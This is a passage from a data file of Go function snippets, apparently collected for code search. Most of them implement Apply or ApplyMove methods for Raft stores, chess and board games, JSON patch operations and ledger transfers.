*CompareAndSwapCommand) Apply(context raft.Context) (interface{}, error) {\n\ts, _ := context.Server().StateMachine().(store.Store)\n\n\te, err := s.CompareAndSwap(c.Key, c.PrevValue, c.PrevIndex, c.Value, c.ExpireTime)\n\n\tif err != nil {\n\t\tlog.Debug(err)\n\t\treturn nil, err\n\t}\n\n\treturn e, nil\n}", "func (service *ProjectService) MoveManifestEntry(to, from int) error {\n\treturn service.commander.Register(\n\t\tcmd.Named(\"MoveManifestEntry\"),\n\t\tcmd.Forward(func(modder world.Modder) error {\n\t\t\treturn service.mod.World().MoveEntry(to, from)\n\t\t}),\n\t\tcmd.Reverse(func(modder world.Modder) error {\n\t\t\treturn service.mod.World().MoveEntry(from, to)\n\t\t}),\n\t)\n}", "func (m *TMap) Apply(args ...interface{}) interface{} {\n\tkey := args[0]\n\treturn m.At(key)\n}", "func (u updateCachedUploadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tif u.SectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\n\t} else if u.SectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Add correct error handling.\n\t}\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}", "func (op *OpRetain) Apply(e *entry.Entry) error {\n\tnewEntry := entry.New()\n\tnewEntry.Timestamp = e.Timestamp\n\tfor _, field := range op.Fields {\n\t\tval, ok := e.Get(field)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\terr := newEntry.Set(field, val)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*e = *newEntry\n\treturn nil\n}", "func (a *MoveBackwardAction) Apply(currentState *pogo.GameState) (*pogo.GameState, error) {\n\tnextState := currentState.DeepCopy()\n\tnextState.AppendAnimation(animations.GetMoveBackward(a.GetOwner()))\n\tplayer := nextState.GetPlayer(a.GetOwner())\n\tif player == nil {\n\t\treturn nextState, fmt.Errorf(\"there is no player with id %v\", a.GetOwner())\n\t}\n\tswitch player.Facing {\n\tcase 0: // facing north going south\n\t\tplayer.Location = player.Location + nextState.BoardWidth\n\t\tbreak\n\tcase 1: // facing east going west\n\t\tplayer.Location = player.Location - 1\n\t\tbreak\n\tcase 2: // facing south going north\n\t\tplayer.Location = player.Location - nextState.BoardWidth\n\t\tbreak\n\tcase 3: // facing west going east\n\t\tplayer.Location = player.Location + 1\n\t\tbreak\n\tdefault:\n\t\treturn nextState, fmt.Errorf(\"player %v with unknown facing %v\", player.ID, player.Facing)\n\t}\n\treturn nextState, nil\n}", "func ApplyMove(board Board, fullMove FullMove, updateStates bool) Board {\n\tinfo := GetBoardAt(board, fullMove.pos)\n\n\t// switch state changes for castling & en-passant\n\tif updateStates {\n\t\tboard = resetPawnsStatus(board, info.color)\n\t\tif info.piece == Piece_King || info.piece == Piece_Rock {\n\t\t\tinfo.status = PieceStatus_CastlingNotAllowed\n\t\t}\n\t\tif info.piece == Piece_Pawn && math.Abs(float64(fullMove.move.y)) == 2. {\n\t\t\tinfo.status = PieceStatus_EnPassantAllowed\n\t\t}\n\t\tif info.piece == Piece_Pawn && math.Abs(float64(fullMove.move.y)) == 1. {\n\t\t\tinfo.status = PieceStatus_Default\n\t\t}\n\t}\n\n\tSetBoardAt(&board, fullMove.pos, EmptyPieceInfo)\n\tSetBoardAt(&board, PositionAdd(fullMove.pos, fullMove.move), info)\n\treturn board\n}", "func (s *Store) Apply(command []byte, index uint64) (resp interface{}, err error) {\n\traftCmd := raftpb.CreateRaftCommand()\n\tif err = raftCmd.Unmarshal(command); err != nil {\n\t\tpanic(err)\n\t}\n\n\tswitch raftCmd.Type {\n\tcase raftpb.CmdType_WRITE:\n\t\tresp, err = s.execRaftCommand(index, raftCmd.WriteCommands)\n\n\tdefault:\n\t\ts.Engine.SetApplyID(index)\n\t\terr = storage.ErrorCommand\n\t\tlog.Error(\"unsupported command[%s]\", raftCmd.Type)\n\t}\n\n\traftCmd.Close()\n\treturn\n}", "func (b Board) ApplyMove(m Move) (Piece, error) {\n\tif !b.CanApplyMove(m) {\n\t\treturn PieceNull, NewMoveError(m)\n\t}\n\tif m.IsDrop() {\n\t\tb[m.To] = m.SideAndPiece()\n\t} else {\n\t\tfromSap := b.Get(m.From)\n\t\ttoSap := b.Get(m.To)\n\t\tif fromSap.Piece != m.Piece {\n\t\t\tp := fromSap.Piece.Promote()\n\t\t\tif p != m.Piece {\n\t\t\t\t// FIXME: should return better error\n\t\t\t\treturn PieceNull, NewInvalidStateError(\"fromSap is not correspond to m\")\n\t\t\t}\n\t\t\tfromSap.Piece = p\n\t\t}\n\t\tb[m.To] = fromSap\n\t\tb.SafeRemove(m.From)\n\t\tif toSap != SideAndPieceNull {\n\t\t\treturn toSap.Piece, nil\n\t\t}\n\t}\n\treturn PieceNull, nil\n}", "func (g *Game) ApplyMove(move Move) Game {\n\tclone := *g\n\tclone.applyMove(move)\n\tclone.updateGameState()\n\treturn clone\n}", "func (c *Controller) apply(key string) error {\n\titem, exists, err := c.indexer.GetByKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !exists {\n\t\treturn c.remove(key)\n\t}\n\treturn c.upsert(item, key)\n}", "func (p PiecePositions) ApplyMove(c Color, move *Move, movingPiece, capturedPiece NormalizedPiece) PiecePositions {\n\tpieces := NewPiecePositions()\n\tfor color, _ := range pieces {\n\t\tfor pieceIx, oldPositions := range p[color] {\n\n\t\t\tpiece := NormalizedPiece(pieceIx)\n\t\t\tif (Color(color) == c && piece != movingPiece) || (Color(color) != c && piece != capturedPiece) {\n\t\t\t\tpieces[color][piece] = oldPositions\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tpieces[color][piece] = PositionBitmap(0)\n\t\t\t}\n\n\t\t\tfor _, pos := range oldPositions.ToPositions() {\n\t\t\t\tif Color(color) == c && piece == movingPiece && pos == move.From {\n\t\t\t\t\t// This is the piece that is moving and we need to replace its\n\t\t\t\t\t// position with the move's target.\n\t\t\t\t\t// There's a special case for promotions, because in that case\n\t\t\t\t\t// we need to remove the pawn instead, and add a new piece.\n\t\t\t\t\tif move.Promote == NoPiece {\n\t\t\t\t\t\tpieces[color][piece] = pieces[color][piece].Add(move.To)\n\t\t\t\t\t}\n\t\t\t\t} else if Color(color) != c && piece == capturedPiece && pos == move.To {\n\t\t\t\t\t// Skip captured pieces\n\t\t\t\t\tcontinue\n\t\t\t\t} else {\n\t\t\t\t\t// Copy unaffected pieces\n\t\t\t\t\tpieces[color][piece] = pieces[color][piece].Add(pos)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t// Handle promote\n\tif move.Promote != NoPiece {\n\t\tnormPromote := move.Promote.ToNormalizedPiece()\n\t\tpieces[c][normPromote] = pieces[c][normPromote].Add(move.To)\n\t}\n\n\t// There is another special case for castling, because now we also\n\t// need to move the rook's position.\n\tif movingPiece == King && c == Black {\n\t\tif move.From == E8 && move.To == G8 {\n\t\t\tpieces.move(Black, Rook, H8, F8)\n\t\t} else if move.From == E8 && move.To == C8 {\n\t\t\tpieces.move(Black, Rook, A8, D8)\n\t\t}\n\t} else if movingPiece == King && c == White {\n\t\tif move.From == E1 && move.To == G1 {\n\t\t\tpieces.move(White, Rook, H1, F1)\n\t\t} else if move.From == E1 && move.To == C1 {\n\t\t\tpieces.move(White, Rook, A1, D1)\n\t\t}\n\t}\n\treturn pieces\n}", "func (l *leader) applyCommitted() {\n\t// add all entries <=commitIndex & add only non-log entries at commitIndex+1\n\tvar prev, ne *newEntry = nil, l.neHead\n\tfor ne != nil {\n\t\tif ne.index <= l.commitIndex {\n\t\t\tprev, ne = ne, ne.next\n\t\t} else if ne.index == l.commitIndex+1 && !ne.isLogEntry() {\n\t\t\tprev, ne = ne, ne.next\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tvar head *newEntry\n\tif prev != nil {\n\t\thead = l.neHead\n\t\tprev.next = nil\n\t\tl.neHead = ne\n\t\tif l.neHead == nil {\n\t\t\tl.neTail = nil\n\t\t}\n\t}\n\n\tapply := fsmApply{head, l.log.ViewAt(l.log.PrevIndex(), l.commitIndex)}\n\tif trace {\n\t\tprintln(l, apply)\n\t}\n\tl.fsm.ch <- apply\n}", "func (o *Operation) apply(to interface{}) (interface{}, error) {\n\tswitch o.Op {\n\tcase \"test\":\n\t\treturn to, o.path.Test(to, o.Value)\n\tcase \"replace\":\n\t\treturn o.path.Replace(to, o.Value)\n\tcase \"add\":\n\t\treturn o.path.Put(to, o.Value)\n\tcase \"remove\":\n\t\treturn o.path.Remove(to)\n\tcase \"move\":\n\t\treturn o.from.Move(to, o.path)\n\tcase \"copy\":\n\t\treturn o.from.Copy(to, o.path)\n\tdefault:\n\t\treturn to, fmt.Errorf(\"Invalid op %v\", o.Op)\n\t}\n}", "func (g *Game) applyMove(move Move) {\n\tif move.IsDrop() {\n\t\tp := move.Piece.WithArmy(g.armies[ColorIdx(move.Piece.Color())])\n\t\tg.board.SetPieceAt(move.To, p)\n\t\treturn\n\t}\n\n\t// Advance turn\n\tmovingPlayer := g.toMove\n\tepSquare := g.epSquare\n\tif !g.kingTurn {\n\t\tg.halfmoveClock++\n\t\tg.epSquare = InvalidSquare\n\t}\n\tif g.armies[ColorIdx(movingPlayer)] == ArmyTwoKings && !g.kingTurn {\n\t\tg.kingTurn = true\n\t} else {\n\t\tg.kingTurn = false\n\t\tg.toMove = OtherColor(movingPlayer)\n\t}\n\tif g.toMove == ColorWhite && !g.kingTurn {\n\t\tg.fullmoveNumber++\n\t}\n\n\tif move.IsPass() {\n\t\treturn\n\t}\n\n\t// Handle captures and duels\n\tp, _ := g.board.PieceAt(move.From)\n\tp = p.WithArmy(g.armies[ColorIdx(p.Color())])\n\tme := moveExecution{\n\t\tepSquare: epSquare,\n\t\tattackerStones: g.stones[ColorIdx(movingPlayer)],\n\t\tdefenderStones: g.stones[1-ColorIdx(movingPlayer)],\n\t\tduels: move.Duels[:],\n\t\tdryRun: false,\n\t}\n\tsurvived := g.handleAllCaptures(p, move, &me)\n\n\t// Update stones\n\tg.stones[ColorIdx(movingPlayer)] = me.attackerStones\n\tg.stones[1-ColorIdx(movingPlayer)] = me.defenderStones\n\tisZeroingMove := me.isCapture\n\n\t// Move the piece\n\tdelta := int(move.To.Address) - int(move.From.Address)\n\tif survived {\n\t\tif p.Name() != PieceNameAnimalsBishop || !isZeroingMove {\n\t\t\tg.board.ClearPieceAt(move.From)\n\t\t\tif move.Piece != InvalidPiece {\n\t\t\t\tpromoted := NewPiece(move.Piece.Type(), p.Army(), p.Color())\n\t\t\t\tg.board.SetPieceAt(move.To, promoted)\n\t\t\t} else {\n\t\t\t\tg.board.SetPieceAt(move.To, p)\n\t\t\t}\n\t\t}\n\t} else {\n\t\tg.board.ClearPieceAt(move.From)\n\t}\n\tif p.Type() == TypePawn && p.Army() != ArmyNemesis {\n\t\tisZeroingMove = true\n\t\tif SquareDistance(move.From, move.To) > 1 {\n\t\t\tg.epSquare = Square{Address: uint8(int(move.From.Address) + delta/2)}\n\t\t}\n\t} else if p.Name() == PieceNameClassicKing {\n\t\t// Clear castling rights on king move\n\t\tfirstRank := maskRank[7-7*ColorIdx(p.Color())]\n\t\tg.castlingRights &^= firstRank\n\n\t\t// Move rook when castling\n\t\tif delta == -2 {\n\t\t\tg.board.MovePiece(\n\t\t\t\tSquare{Address: move.To.Address - 2},\n\t\t\t\tSquare{Address: move.To.Address + 1},\n\t\t\t)\n\t\t} else if delta == 2 {\n\t\t\tg.board.MovePiece(\n\t\t\t\tSquare{Address: move.To.Address + 1},\n\t\t\t\tSquare{Address: move.To.Address - 1},\n\t\t\t)\n\t\t}\n\t}\n\n\t// Update the halfmove clock\n\tif isZeroingMove {\n\t\tg.halfmoveClock = 0\n\t}\n\t// Clear castling right on rook move or rook capture\n\tfor _, mask := range castles {\n\t\tif move.From.mask()&mask != 0 || move.To.mask()&mask != 0 {\n\t\t\tg.castlingRights &^= mask\n\t\t}\n\t}\n\n\treturn\n}", "func (a Atomic) Apply(ctx Context, c Change) Value {\n\tswitch c := c.(type) {\n\tcase nil:\n\t\treturn a\n\tcase Replace:\n\t\tif !c.IsCreate() {\n\t\t\treturn c.After\n\t\t}\n\t}\n\treturn c.(Custom).ApplyTo(ctx, a)\n}", "func (e *Entry) Move(newfrag int, flags RenameFlags) error {\n\tfcode := C.CString(e.name)\n\tdefer C.free(unsafe.Pointer(fcode))\n\tcidx := C.int(newfrag)\n\tresult := C.gd_move(e.df.d, fcode, cidx, C.uint(flags))\n\tif result < 0 {\n\t\treturn e.df.Error()\n\t}\n\te.fragment = newfrag\n\treturn nil\n}", "func (format *Move) ApplyFormatter(msg *core.Message) error {\n\tsrcData := format.GetSourceData(msg)\n\n\tformat.SetTargetData(msg, srcData)\n\tformat.SetSourceData(msg, nil)\n\treturn nil\n}", "func ApplyMovesToBoard(moves map[string][]string, board structs.Board) structs.Board {\n\tnewBoard := board.Clone()\n\n\tfor i := range moves[newBoard.Snakes[0].ID] { // [left, right, down]\n\t\tsnakes := []structs.Snake{}\n\t\tfor j, snake := range newBoard.Snakes {\n\t\t\tnext := snake.Body[0].Move(moves[snake.ID][i])\n\t\t\tnewBoard.Snakes[j].Body = append([]structs.Coordinate{next}, snake.Body...)\n\t\t\tnewBoard.Snakes[j].Health = snake.Health - 1\n\t\t\tif !CoordInList(snake.Body[0], newBoard.Food) {\n\t\t\t\tnewBoard.Snakes[j].Body = newBoard.Snakes[j].Body[:len(newBoard.Snakes[j].Body)-1]\n\t\t\t} else {\n\t\t\t\tnewBoard.Snakes[j].Health = 100\n\t\t\t}\n\t\t\t// only keep snakes which haven't starved or gone out of bounds\n\t\t\tif !IsOutOfBounds(newBoard, next) && !IsStarved(newBoard.Snakes[j]) && !HitOtherSnake(newBoard, next) {\n\t\t\t\tsnakes = append(snakes, newBoard.Snakes[j])\n\t\t\t}\n\t\t}\n\t\tnewBoard.Snakes = snakes\n\t}\n\t// update snakes on the board to exclude dead snakes\n\treturn newBoard\n}", "func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\n\tkv.mu.Lock()\n\tdefer kv.mu.Unlock()\n\n\tvar args Op\n\targs = msg.Command.(Op)\n\tif kv.op_count[args.Client] >= args.Id {\n\t\tDPrintf(\"Duplicate operation\\n\")\n\t}else {\n\t\tswitch args.Type {\n\t\tcase OpPut:\n\t\t\tDPrintf(\"Put Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = args.Value\n\t\tcase OpAppend:\n\t\t\tDPrintf(\"Append Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = kv.data[args.Key] + args.Value\n\t\tdefault:\n\t\t}\n\t\tkv.op_count[args.Client] = args.Id\n\t}\n\n\t//DPrintf(\"@@@Index:%v len:%v content:%v\\n\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\n\t//DPrintf(\"@@@kv.pendingOps[%v]:%v\\n\", msg.Index, kv.pendingOps[msg.Index])\n\tfor _, i := range kv.pendingOps[msg.Index] {\n\t\tif i.op.Client==args.Client && i.op.Id==args.Id {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <- true\n\t\t}else {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <-false\n\t\t}\n\t}\n\tdelete(kv.pendingOps, msg.Index)\n}", "func (c *WriteCommand) Apply(server raft.Server) (interface{}, error) {\n\tctx := server.Context().(ServerContext)\n\tdb := ctx.Server.db\n\tdb.Put(c.Key, c.Value)\n\treturn nil, nil\n}", "func (game *Game) ApplyTurn(input string, gameDB *GameDB) (Result, error) {\n\tvar err error\n\tvar placements []TilePlacement\n\tvar score int\n\tvar words []Word\n\tvar result Result\n\n\ttokens := strings.Split(input, \" \")\n\tif len(tokens) == 0 {\n\t\treturn Result{}, ErrInvalidAction\n\t}\n\n\tresult.Action = tokens[0]\n\ttokens = tokens[1:]\n\tswitch result.Action {\n\tcase \"swap\":\n\t\t// Format of `swap a b c d`\n\t\ttiles := parseTiles(tokens)\n\t\terr = game.SwapTiles(tiles)\n\t\tresult.Swapped = len(tiles)\n\n\tcase \"place\":\n\t\t// Format of `place a(1,a) b(2,a)`\n\t\tplacements, err = parseTilePlacements(tokens)\n\t\tif err != nil {\n\t\t\treturn Result{}, err\n\t\t}\n\t\twords, score, err = game.PlaceTiles(placements)\n\t\tresult.Words = words\n\t\tresult.Score = score\n\tdefault:\n\t\treturn Result{}, ErrInvalidAction\n\t}\n\tif err != nil {\n\t\treturn Result{}, err\n\t}\n\tgame.Turn.input = input\n\tgame.Turn.score = score\n\tgame.Turns = append(game.Turns, game.Turn)\n\n\terr = gameDB.SaveState(game)\n\tif err != nil {\n\t\treturn Result{}, err\n\t}\n\tgame.SetNextTurn()\n\n\treturn result, nil\n}", "func (s *itemState) buildMoveOps(txn checkpointTxn, cur keyspace.KeyValue, a Assignment) {\n\t// Atomic move of same value from current Assignment key, to a new one under the current Lease.\n\ttxn.If(modRevisionUnchanged(cur)).\n\t\tThen(\n\t\t\tclientv3.OpDelete(string(cur.Raw.Key)),\n\t\t\tclientv3.OpPut(AssignmentKey(s.global.KS, a), string(cur.Raw.Value),\n\t\t\t\tclientv3.WithLease(clientv3.LeaseID(cur.Raw.Lease))))\n}", "func (s *State) apply(tx Transaction) error {\n\tif tx.IsReward() {\n\t\ts.Balances[tx.To] += tx.Value\n\t\treturn nil\n\t}\n\n\tif tx.Value > s.Balances[tx.From] {\n\t\treturn fmt.Errorf(\"Insufficient Balance!\")\n\t}\n\n\ts.Balances[tx.From] -= tx.Value\n\ts.Balances[tx.To] += tx.Value\n\n\treturn nil\n}", "func (s *State) apply(tx Tx) error {\n\tif tx.IsReward() {\n\t\ts.Balances[tx.To] += tx.Value\n\t\treturn nil\n\t}\n\n\tif s.Balances[tx.From] < tx.Value {\n\t\treturn fmt.Errorf(\"insufficient balance\")\n\t}\n\n\ts.Balances[tx.From] -= tx.Value\n\ts.Balances[tx.To] += tx.Value\n\n\treturn nil\n}", "func (e *Embedding) ApplyDelta(delta mat.Matrix) {\n\tif e.storage.ReadOnly {\n\t\tlog.Fatal(\"emb: read-only embeddings cannot apply delta\")\n\t}\n\te.Param.ApplyDelta(delta)\n\tif _, err := e.storage.update(e); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func (r *Instance) Apply(ctx context.Context, s *Instance, d *state.InstanceDiff, meta interface{}) error {\n\t// TODO: Implement this method\n\treturn nil\n}", "func (m *ItemsMutator) Apply() error {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\t*m.target = *m.proxy\n\treturn nil\n}", "func ApplyMoveToBoard(move int, playerId int, bp *[NumRows][NumColumns]int) (*[NumRows][NumColumns]int, error) {\n\tif move >= NumColumns || move < 0 {\n\t\treturn bp, errors.New(fmt.Sprintf(\"Move %d is invalid\", move))\n\t}\n\tfor i := NumRows - 1; i >= 0; i-- {\n\t\tif bp[i][move] == 0 {\n\t\t\tbp[i][move] = playerId\n\t\t\treturn bp, nil\n\t\t}\n\t}\n\treturn bp, errors.New(fmt.Sprintf(\"No room in column %d for a move\", move))\n}", "func (room *Room) applyAction(conn *Connection, cell *Cell) {\n\tindex := conn.Index()\n\n\tfmt.Println(\"points:\", room.Settings.Width, room.Settings.Height, 100*float64(cell.Value+1)/float64(room.Settings.Width*room.Settings.Height))\n\tswitch {\n\tcase cell.Value < CellMine:\n\t\troom.Players.IncreasePlayerPoints(index, 100*float64(cell.Value+1)/float64(room.Settings.Width*room.Settings.Height))\n\tcase cell.Value == CellMine:\n\t\troom.Players.IncreasePlayerPoints(index, float64(-100))\n\t\troom.Kill(conn, ActionExplode)\n\tcase cell.Value > CellIncrement:\n\t\troom.FlagFound(*conn, cell)\n\t}\n}", "func (op *OpAdd) Apply(e *entry.Entry) error {\n\tswitch {\n\tcase op.Value != nil:\n\t\terr := e.Set(op.Field, op.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase op.program != nil:\n\t\tenv := helper.GetExprEnv(e)\n\t\tdefer helper.PutExprEnv(env)\n\n\t\tresult, err := vm.Run(op.program, env)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"evaluate value_expr: %s\", err)\n\t\t}\n\t\terr = e.Set(op.Field, result)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tdefault:\n\t\t// Should never reach here if we went through the unmarshalling code\n\t\treturn fmt.Errorf(\"neither value or value_expr are are set\")\n\t}\n\n\treturn nil\n}", "func (o *Operation) Apply(v interface{}) (interface{}, error) {\n\tf, ok := opApplyMap[o.Op]\n\tif !ok {\n\t\treturn v, fmt.Errorf(\"unknown operation: %s\", o.Op)\n\t}\n\n\tresult, err := f(o, v)\n\tif err != nil {\n\t\treturn result, fmt.Errorf(\"error applying operation %s: %s\", o.Op, err)\n\t}\n\n\treturn result, nil\n}", "func (expr *Action) Apply(val interface{}) interface{} {\n\treturn expr.functor(val)\n}", "func (plan *Plan) Apply(fn ApplyFunction, resultUpdater ApplyResultUpdater) *ApplyResult {\n\t// make sure we are converting panics into errors\n\tfnModified := func(act Interface) (errResult error) {\n\t\tdefer func() {\n\t\t\tif err := recover(); err != nil {\n\t\t\t\terrResult = fmt.Errorf(\"panic: %s\\n%s\", err, string(debug.Stack()))\n\t\t\t}\n\t\t}()\n\t\treturn fn(act)\n\t}\n\n\t// update total number of actions and start the revision\n\tresultUpdater.SetTotal(plan.NumberOfActions())\n\n\t// apply the plan and calculate result (success/failed/skipped actions)\n\tplan.applyInternal(fnModified, resultUpdater)\n\n\t// tell results updater that we are done and return the results\n\treturn resultUpdater.Done()\n}", "func (s *Store) Apply(log *raft.Log) interface{} {\n\tvar c command\n\tif err := json.Unmarshal(log.Data, &c); err != nil {\n\t\tpanic(fmt.Sprintf(\"Failed to unmarshal command: %s\", err.Error()))\n\t}\n\n\tswitch c.Op {\n\tcase \"SET\":\n\t\treturn s.applySet(c.Key, c.Val)\n\tcase \"DELETE\":\n\t\treturn s.applyDelete(c.Key)\n\tdefault:\n\t\treturn fmt.Sprintf(\"Unsupported operation: %s\", c.Op)\n\t}\n\n\treturn nil\n}", "func (a *Applier) Apply(ctx context.Context, step *Step) (retErr error) {\n\tvar db *kv.DB\n\tdb, step.DBID = a.getNextDBRoundRobin()\n\n\tstep.Before = db.Clock().Now()\n\tdefer func() {\n\t\tstep.After = db.Clock().Now()\n\t\tif p := recover(); p != nil {\n\t\t\tretErr = errors.Errorf(`panic applying step %s: %v`, step, p)\n\t\t}\n\t}()\n\tapplyOp(ctx, db, &step.Op)\n\treturn nil\n}", "func (u updateCachedDownloadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}", "func(t *TargImp) Apply(a Action) os.Error {\n\n\tif !t.commandSent {\n\t\tt.commandSent = true\n\t\treturn a(t)\n\t}\n\treturn nil\n}", "func (e *Engine) Apply(c Command) {\n\te.mutex.Lock()\n\tdefer e.mutex.Unlock()\n\tswitch c.Op {\n\tcase addCommand:\n\t\t_, err := e.enforcer.AddPolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.Rules)\n\t\tif err != nil {\n\t\t\te.logger.Panic(err.Error(), zap.Any(\"command\", c))\n\t\t}\n\tcase removeCommand:\n\t\t_, err := e.enforcer.RemovePolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.Rules)\n\t\tif err != nil {\n\t\t\te.logger.Panic(err.Error(), zap.Any(\"command\", c))\n\t\t}\n\tcase removeFilteredCommand:\n\t\t_, err := e.enforcer.RemoveFilteredPolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.FiledIndex, c.FiledValues...)\n\t\tif err != nil {\n\t\t\te.logger.Panic(err.Error(), zap.Any(\"command\", c))\n\t\t}\n\tcase clearCommand:\n\t\terr := e.enforcer.ClearPolicySelf(e.shouldPersist)\n\t\tif err != nil {\n\t\t\te.logger.Panic(err.Error(), zap.Any(\"command\", c))\n\t\t}\n\tcase updateCommand:\n\t\t_, err := e.enforcer.UpdatePolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.OldRule, c.NewRule)\n\t\tif err != nil {\n\t\t\te.logger.Panic(err.Error(), zap.Any(\"command\", c))\n\t\t}\n\tdefault:\n\t\te.logger.Panic(\"unknown command\", zap.Any(\"command\", c))\n\t}\n}", "func (tt *TtTable) Put(key position.Key, move Move, depth int8, value Value, valueType ValueType, mateThreat bool) {\n\n\t// if the size of the TT = 0 we\n\t// do not store anything\n\tif tt.maxNumberOfEntries == 0 {\n\t\treturn\n\t}\n\n\t// read the entries for this hash\n\tentryDataPtr := &tt.data[tt.hash(key)]\n\t// encode value into the move if it is a valid value (min < v < max)\n\tif value.IsValid() {\n\t\tmove = move.SetValue(value)\n\t} else {\n\t\ttt.log.Warningf(\"TT Put: Tried to store an invalid Value into the TT %s (%d)\", value.String(), int(value))\n\t}\n\n\ttt.Stats.numberOfPuts++\n\n\t// NewTtTable entry\n\tif entryDataPtr.Key == 0 {\n\t\ttt.numberOfEntries++\n\t\tentryDataPtr.Key = key\n\t\tentryDataPtr.Move = move\n\t\tentryDataPtr.Depth = depth\n\t\tentryDataPtr.Age = 1\n\t\tentryDataPtr.Type = valueType\n\t\tentryDataPtr.MateThreat = mateThreat\n\t\treturn\n\t}\n\n\t// Same hash but different position\n\tif entryDataPtr.Key != key {\n\t\ttt.Stats.numberOfCollisions++\n\t\t// overwrite if\n\t\t// - the new entry's depth is higher\n\t\t// - the new entry's depth is same and the previous entry is old (is aged)\n\t\tif depth > entryDataPtr.Depth ||\n\t\t\t(depth == entryDataPtr.Depth && entryDataPtr.Age > 1) {\n\t\t\ttt.Stats.numberOfOverwrites++\n\t\t\tentryDataPtr.Key = key\n\t\t\tentryDataPtr.Move = move\n\t\t\tentryDataPtr.Depth = depth\n\t\t\tentryDataPtr.Age = 1\n\t\t\tentryDataPtr.Type = valueType\n\t\t\tentryDataPtr.MateThreat = mateThreat\n\t\t}\n\t\treturn\n\t}\n\n\t// Same hash and same position -> update entry?\n\tif entryDataPtr.Key == key {\n\t\ttt.Stats.numberOfUpdates++\n\t\t// we always update as the stored moved can't be any good otherwise\n\t\t// we would have found this during the search in a previous probe\n\t\t// and we would not have come to store it again\n\t\tentryDataPtr.Key = key\n\t\tentryDataPtr.Move = move\n\t\tentryDataPtr.Depth = depth\n\t\tentryDataPtr.Age = 1\n\t\tentryDataPtr.Type = valueType\n\t\tentryDataPtr.MateThreat = mateThreat\n\t\treturn\n\t}\n}", "func (g *generator) parseProxyApply(parameters codegen.Set, args []model.Expression,\n\tthen model.Expression,\n) (model.Expression, bool) {\n\tif len(args) != 1 {\n\t\treturn nil, false\n\t}\n\n\targ := args[0]\n\tswitch then := then.(type) {\n\tcase *model.IndexExpression:\n\t\t// Rewrite `__apply(<expr>, eval(x, x[index]))` to `<expr>[index]`.\n\t\tif !isParameterReference(parameters, then.Collection) {\n\t\t\treturn nil, false\n\t\t}\n\t\tthen.Collection = arg\n\tcase *model.ScopeTraversalExpression:\n\t\tif !isParameterReference(parameters, then) {\n\t\t\treturn nil, false\n\t\t}\n\n\t\tswitch arg := arg.(type) {\n\t\tcase *model.RelativeTraversalExpression:\n\t\t\targ.Traversal = append(arg.Traversal, then.Traversal[1:]...)\n\t\t\targ.Parts = append(arg.Parts, then.Parts...)\n\t\tcase *model.ScopeTraversalExpression:\n\t\t\targ.Traversal = append(arg.Traversal, then.Traversal[1:]...)\n\t\t\targ.Parts = append(arg.Parts, then.Parts...)\n\t\t}\n\tdefault:\n\t\treturn nil, false\n\t}\n\n\tdiags := arg.Typecheck(false)\n\tcontract.Assertf(len(diags) == 0, \"unexpected diagnostics: %v\", diags)\n\treturn arg, true\n}", "func (cmd *Start) Apply(ctxt context.Context, _ io.Writer, _ retro.Session, repo retro.Repo) (retro.CommandResult, error) {\n\treturn retro.CommandResult{cmd.session: []retro.Event{events.StartSession{}}}, nil\n}", "func (a *TurnClockwise90Action) Apply(currentState *pogo.GameState) (*pogo.GameState, error) {\n\tnextState := currentState.DeepCopy()\n\tnextState.AppendAnimation(animations.GetTurnClockwise90(a.GetOwner()))\n\tplayer := nextState.GetPlayer(a.GetOwner())\n\tif player == nil {\n\t\treturn nextState, fmt.Errorf(\"there is no player with id %v\", a.GetOwner())\n\t}\n\tplayer.Facing = player.Facing + 1\n\tif player.Facing > 3 {\n\t\tplayer.Facing = 0\n\t}\n\treturn nextState, nil\n}", "func (p *cursorOffsetPreferred) move() {\n\tc := p.from\n\tdefer c.allowUsable()\n\n\t// Before we migrate the cursor, we check if the destination source\n\t// exists. If not, we do not migrate and instead force a metadata.\n\n\tc.source.cl.sinksAndSourcesMu.Lock()\n\tsns, exists := c.source.cl.sinksAndSources[p.preferredReplica]\n\tc.source.cl.sinksAndSourcesMu.Unlock()\n\n\tif !exists {\n\t\tc.source.cl.triggerUpdateMetadataNow()\n\t\treturn\n\t}\n\n\t// This remove clears the source's session and buffered fetch, although\n\t// we will not have a buffered fetch since moving replicas is called\n\t// before buffering a fetch.\n\tc.source.removeCursor(c)\n\tc.source = sns.source\n\tc.source.addCursor(c)\n}", "func (te *TarExtractor) applyMetadata(path string, hdr *tar.Header) error {\n\t// Modify the header.\n\tif err := unmapHeader(hdr, te.mapOptions); err != nil 